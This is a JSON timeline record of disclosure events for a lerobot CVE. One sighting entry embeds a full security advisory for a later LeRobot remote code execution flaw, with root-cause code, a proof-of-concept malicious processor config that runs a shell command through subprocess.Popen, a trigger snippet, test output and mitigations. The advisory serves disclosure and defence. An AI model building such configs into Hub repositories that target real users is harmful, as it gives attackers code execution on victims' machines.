{"metadata": {"vulnerability": "CVE-2025-10772", "count": 17, "kinds": {"milestone": 4, "sighting": 2, "kev": 0, "other": 11}, "linked_omitted": 0}, "data": [{"timestamp": "2025-09-21T00:00:00Z", "date_only": false, "value": "2025-09-21T00:00:00.000Z", "kind": "other", "label": "Timeline", "source": "cvelistv5 / VulDB", "record": "CVE-2025-10772", "field": "containers.cna.timeline.0.time", "text": "Advisory disclosed"}, {"timestamp": "2025-09-21T02:00:00Z", "date_only": false, "value": "2025-09-21T02:00:00.000Z", "kind": "other", "label": "Timeline", "source": "cvelistv5 / VulDB", "record": "CVE-2025-10772", "field": "containers.cna.timeline.1.time", "text": "VulDB entry created"}, {"timestamp": "2025-09-21T08:24:47.566Z", "date_only": false, "value": "2025-09-21T08:24:47.566Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2025-10772", "field": "cveMetadata.dateReserved"}, {"timestamp": "2025-09-21T10:29:51Z", "date_only": false, "value": "2025-09-21T10:29:51.000Z", "kind": "other", "label": "Timeline", "source": "cvelistv5 / VulDB", "record": "CVE-2025-10772", "field": "containers.cna.timeline.2.time", "text": "VulDB entry last update"}, {"timestamp": "2025-09-21T23:32:05.896Z", "date_only": false, "value": "2025-09-21T23:32:05.896Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2025-10772", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2025-09-21T23:32:05.896Z", "date_only": false, "value": "2025-09-21T23:32:05.896Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / VulDB", "record": "CVE-2025-10772", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2025-09-22T00:15:39Z", "date_only": false, "value": "2025-09-22T00:15:39Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-472G-659M-76XF", "record": "GHSA-472G-659M-76XF", "field": "database_specific.nvd_published_at", "linked_record": true}, {"timestamp": "2025-09-22T00:15:39.410Z", "date_only": false, "value": "2025-09-22T00:15:39.410", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2025-10772", "record": "FKIE_CVE-2025-10772", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2025-09-22T04:08:14.081Z", "date_only": false, "value": "2025-09-22T04:08:14.081310Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lzfjvxtziw2x", "record": "CVE-2025-10772", "field": "creation_timestamp", "uuid": "5641497c-cc9b-4eea-b7be-902f9cdc7024", "url": "https://bsky.app/profile/cve.skyfleet.blue/post/3lzfjvxtziw2x"}, {"timestamp": "2025-09-22T17:29:44.471Z", "date_only": false, "value": "2025-09-22T17:29:44.471588Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2025-10772", "field": "containers.adp.0.metrics.0.other.content.timestamp"}, {"timestamp": "2025-09-22T17:29:44.471Z", "date_only": false, "value": "2025-09-22T17:29:44.471588Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2025-10772", "record": "FKIE_CVE-2025-10772", "field": "metrics.ssvcV203.0.ssvcData.timestamp", "linked_record": true}, {"timestamp": "2025-09-22T17:29:49.394Z", "date_only": false, "value": "2025-09-22T17:29:49.394Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2025-10772", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2025-09-22T17:29:49.394Z", "date_only": false, "value": "2025-09-22T17:29:49.394Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2025-10772", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2025-09-22T18:30:35Z", "date_only": false, "value": "2025-09-22T18:30:35Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-472G-659M-76XF", "record": "GHSA-472G-659M-76XF", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2025-09-22T18:30:35Z", "date_only": false, "value": "2025-09-22T18:30:35Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-472G-659M-76XF", "record": "GHSA-472G-659M-76XF", "field": "modified", "linked_record": true}, {"timestamp": "2026-06-17T08:28:57.450Z", "date_only": false, "value": "2026-06-17T08:28:57.450", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2025-10772", "record": "FKIE_CVE-2025-10772", "field": "lastModified", "linked_record": true}, {"timestamp": "2026-10-22T20:26:49Z", "date_only": false, "value": "2026-10-22T20:26:49.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/mtholmquist/eba1cba80ea66997b8f7e6a839e49120", "record": "CVE-2025-10772", "field": "creation_timestamp", "uuid": "b9a4406c-f53e-41c5-a6c5-c2f0cdc1b528", "content": "# CVE-2026-115533: Remote Code Execution in Hugging Face LeRobot via Unsafe Class Import in DataProcessorPipeline\n\n| | |\n| --- | --- |\n| **CVE ID** | CVE-2026-115533 |\n| **Vendor / Package** | Hugging Face / lerobot (PyPI `lerobot`, GitHub `huggingface/lerobot`) |\n| **Severity** | High |\n| **CVSS 3.1** | 8.8 \u2014 `AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` |\n| **CWE** | CWE-502 (Deserialization of Untrusted Data), CWE-94 (Code Injection) |\n| **Affected versions** | `&gt;= 0.4.0` through `0.6.1` (latest release) and `main` HEAD |\n| **Fixed version** | None as of 2026-10-22 |\n| **Reporter** | Michael Holmquist ([@mtholmquist](https://github.com/mtholmquist)) |\n| **Coordinated by** | CERT/CC \u2014 VU#329939 |\n\n## Summary\n\nLeRobot's `DataProcessorPipeline` loads processor configurations (`policy_preprocessor.json` / `policy_postprocessor.json`) from Hugging Face Hub model repositories via the standard `from_pretrained()` API. Each step entry's `\"class\"` field is resolved through `importlib.import_module()` and `getattr()` with no allowlist, then instantiated with attacker-controlled keyword arguments. An attacker who publishes a malicious Hub repository can set `\"class\": \"subprocess.Popen\"` (or any other callable) and achieve arbitrary command execution in the victim's process the moment the policy is loaded. No `trust_remote_code` flag, opt-in, or non-default configuration is required.\n\n## Root Cause\n\nIn `src/lerobot/processor/pipeline.py`, the `_resolve_step_class` function has a dynamic-import fallback for step entries that carry a `\"class\"` key instead of a registry name:\n\n```python\n# _resolve_step_class \u2014 dynamic import fallback (no allowlist)\nmodule_path, class_name = full_class_path.rsplit(\".\", 1)\nmodule = importlib.import_module(module_path)    # line 1193 on main HEAD 2026-10-06\nstep_class = getattr(module, class_name)          # line 1194\nreturn step_class, class_name\n```\n\nThe resolved class is then instantiated in `_instantiate_step`:\n\n```python\n# _instantiate_step \u2014 attacker-controlled kwargs\nmerged_cfg = {**saved_cfg, **step_overrides}\nreturn step_class(**merged_cfg)                   # line 1254 \u2014 SINK\n```\n\nThe library does check `isinstance(step, ProcessorStep)` \u2014 but this runs at line 1741, **after** `step_class(**merged_cfg)` has already executed. Because constructors like `subprocess.Popen(...)` execute code during instantiation, the guard fires too late.\n\nThe config validator `_validate_loaded_config` requires only that each step entry has a `\"class\"` or `\"registry_name\"` key. It imposes no restriction on the class value, so a malicious config passes validation.\n\n**Reachable path:** `from_pretrained(path, config_filename)` \u2192 `_load_config` (downloads the JSON from the Hub) \u2192 `_validate_loaded_config` (accepts it) \u2192 `_build_steps_from_config` \u2192 `_resolve_step_class` (unrestricted import) \u2192 `_instantiate_step` (executes the class constructor). This is the default, documented policy-loading path \u2014 no special flags are needed.\n\n## Affected Versions\n\n- The dynamic-import fallback (`_resolve_step_class`) is absent in lerobot 0.3.3 and present from 0.4.0 onward. Source-verified across tags 0.4.0, 0.4.4, 0.5.0, 0.5.1, 0.6.0, and 0.6.1.\n- Detonation-confirmed on 0.5.1, 0.6.0, and 0.6.1 (the current latest release, published 2026-08-03).\n- The sink is unchanged on `main` HEAD as of 2026-10-06.\n- **No fixed release exists.** An unmerged community PR ([#4285](https://github.com/huggingface/lerobot/pull/4285)) proposes a namespace allowlist + `trust_remote_code` gate but has received no maintainer approval.\n\n## Proof of Concept\n\nA minimal malicious `policy_preprocessor.json`:\n\n```json\n{\n  \"name\": \"DataProcessorPipeline\",\n  \"steps\": [\n    {\n      \"class\": \"subprocess.Popen\",\n      \"config\": {\"args\": [\"/bin/sh\", \"-c\", \"echo PWNED &gt; /tmp/canary\"]}\n    }\n  ]\n}\n```\n\nTriggered by the standard load call:\n\n```python\nfrom lerobot.processor.pipeline import DataProcessorPipeline\nDataProcessorPipeline.from_pretrained(\"/path/to/dir\", \"policy_preprocessor.json\")\n```\n\nThe library's own `_validate_loaded_config` accepts this file. `_resolve_step_class` imports `subprocess` and resolves `Popen`. `_instantiate_step` calls `Popen(args=[\"/bin/sh\", \"-c\", \"echo PWNED &gt; /tmp/canary\"])`, which spawns a child process that writes the canary. The `TypeError` about `ProcessorStep` inheritance fires afterward \u2014 after the command has already executed.\n\nRe-verified on lerobot 0.6.1 (latest) in a clean `python:3.12-slim` container on 2026-10-06:\n\n```\n== CONTROL: config validation accepts the malicious file ==\nCONTROL: malicious config PASSED validation (no class restriction)\n\n== EXPLOIT: DataProcessorPipeline.from_pretrained(dir, 'policy_preprocessor.json') ==\n(post-instantiation error, expected): TypeError Step 0 (Popen) must inherit from ProcessorStep\n\n== RESULT ==\ncanary exists (child process ran attacker command): True\ncanary contents: PWNED_bb063061253f425fa2a6347645222c75\nPROVEN_RCE=True\n```\n\nA self-contained reproduction (PoC script + pinned Dockerfile) was provided to CERT/CC with the VU#329939 evidence package.\n\n## Impact\n\nArbitrary code execution in the victim's process context. LeRobot policies are distributed as Hugging Face Hub repositories. A victim who loads an attacker's repo through the documented `from_pretrained()` or `make_pre_post_processors()` API \u2014 the standard path used by `lerobot_eval.py` and `policy_server.py` \u2014 has no reason to expect a JSON config to execute Python. The `class` field is an undocumented dynamic-import fallback with no trust gate. No privilege escalation beyond the loading user, and no scope change.\n\n## Mitigations\n\nWhile no fix is released:\n\n1. Only load lerobot policies from repositories you control or trust. Do not call `from_pretrained()` or `make_pre_post_processors()` against untrusted Hub repos.\n2. When loading from the Hub, pin an exact reviewed revision rather than a floating reference.\n3. Apply the [PR #4285](https://github.com/huggingface/lerobot/pull/4285) patch locally, or override `_resolve_step_class` to reject any class outside the `lerobot.processor` namespace before instantiation.\n4. Run policy loading in a sandboxed environment with no outbound network and least privilege, since loading can execute arbitrary code.\n\n## Related\n\n- **GHSA-7j22-xxqw-pgq3** \u2014 Private vulnerability report filed 2026-07-16 via GitHub PVR on `huggingface/lerobot`. Still in Triage status with no maintainer response as of 2026-10-22.\n- **Issue [#4219](https://github.com/huggingface/lerobot/issues/4219)** \u2014 Independent public disclosure of the same bug by user `AAtomical`, opened 2026-07-29. Zero maintainer comments.\n- **PR [#4285](https://github.com/huggingface/lerobot/pull/4285)** \u2014 Community fix PR (namespace allowlist + `trust_remote_code`), opened 2026-08-01. Open and unmerged.\n- **VU#329939** \u2014 CERT/CC coordination case. Hugging Face did not join the case despite weekly contact attempts by CERT/CC.\n\nDistinct from CVE-2026-25874 (GHSA-f7vj-73pm-m822, pickle deserialization over gRPC in `policy_server`, a different component) and CVE-2025-10772 (GHSA-472g-659m-76xf, a Moderate issue in lerobot &lt;= 0.3.3, predating the `DataProcessorPipeline` subsystem).\n\nSame vulnerability class as Keras CVE-2025-1550 (config-driven `importlib` instantiation) and Hugging Face Transformers CVE-2024-11394.\n\n## Timeline\n\n| Date | Event |\n| --- | --- |\n| 2026-07-16 | Private vulnerability report filed via GitHub PVR (GHSA-7j22-xxqw-pgq3) |\n| 2026-07-29 | Independent public issue #4219 opened by AAtomical |\n| 2026-08-01 | Community fix PR #4285 opened |\n| 2026-08-03 | Vendor ships lerobot 0.6.1 without addressing the issue |\n| 2026-08-11 | Escalated to CERT/CC; VINCE case VU#329939 opened |\n| 2026-10-06 | Re-verified on 0.6.1; evidence package provided to CERT/CC |\n| 2026-10-22 | CVE-2026-115533 reserved by CERT/CC |\n\n## Credit\n\nReported by Michael Holmquist ([@mtholmquist](https://github.com/mtholmquist)).\nCoordinated by CERT/CC (VU#329939).\n", "url": "https://gist.github.com/mtholmquist/eba1cba80ea66997b8f7e6a839e49120"}], "metrics": {"as_of": "2026-11-20T02:26:15.381Z", "anchors": {"origin": {"timestamp": "2025-09-21T23:32:05.896Z", "date_only": false, "value": "2025-09-21T23:32:05.896Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2025-10772", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "discovery": null, "report": null, "acknowledgement": null, "disclosure": {"timestamp": "2025-09-21T23:32:05.896Z", "date_only": false, "value": "2025-09-21T23:32:05.896Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2025-10772", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "exploit_publication": null, "exploitation": null, "patch": null}, "vendor_response_time": {"available": false, "missing": ["start", "end"]}, "time_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit_publication": {"available": false, "missing": ["end"]}, "time_to_patch": {"available": false, "missing": ["start", "end"]}, "total_time_to_patch": {"available": false, "missing": ["start", "end"]}, "disclosure_to_patch": {"available": false, "missing": ["end"]}, "time_unpatched": {"available": true, "seconds": 36644049.485638, "hours": 10178.902634899445, "days": 424.1209431208102, "min_seconds": 36644049.485638, "max_seconds": 36644049.485638, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2025-09-21T23:32:05.896Z", "date_only": false, "value": "2025-09-21T23:32:05.896Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2025-10772", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2026-11-20T02:26:15.381Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploitation_to_patch": {"available": false, "missing": ["start"]}, "exploit_publication_to_patch": {"available": false, "missing": ["start"]}}}
